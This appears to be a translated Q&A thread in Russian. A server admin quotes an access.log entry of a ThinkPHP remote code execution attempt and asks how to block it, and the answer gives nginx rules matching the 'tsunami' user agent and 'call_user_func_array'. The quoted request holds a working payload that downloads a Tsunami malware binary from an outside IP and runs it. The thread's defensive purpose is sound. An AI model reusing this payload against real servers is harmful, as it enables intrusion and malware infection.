Недавно я обнаружил, что мой сервер Ubuntu (LEMP) стал цель для атак удаленного выполнения кода. С точки зрения файлов access.log это могло бы выглядеть так:
183.82.248.85 - - [06/Mar/2019:19:12:21 +0530] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://178.128.192.144/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Tsunami/2.0"
Я использую Failban, Cloudflare и CSF. Я хочу знать, есть ли другие возможности заблокировать такую атаку с помощью fail2ban
? Если бы мне удалось заблокировать такие атаки, я бы заблокировал эти IP-адреса из CloudFlare WAF.
Что ж, я действительно считаю, что fail2ban
- неправильный способ решить проблему флуда, который вы описали. Хотя есть способ, как это сделать (см. статью здесь ).
Я хотел бы сказать, что атаки, подобные этой, должны иметь очень большой пул IP-адресов. И блокировка IP-адресов вместо блокировки шаблона поведения не является полным решением.
В вашем конкретном случае вы можете продолжить подход к блокировке UserAgent и шаблонов местоположения.
Например:
location / {
if ($http_user_agent ~ (tsunami) ) {
return 403;
}
if ($query_string ~ "call_user_func_array" ) {
return 403;
}
...
}
И я хотел бы также Предлагаем убедиться, что на вашем сервере нет червей и бэкдоров (например, netstat -lntp
покажет все открытые порты и службы, которые их используют).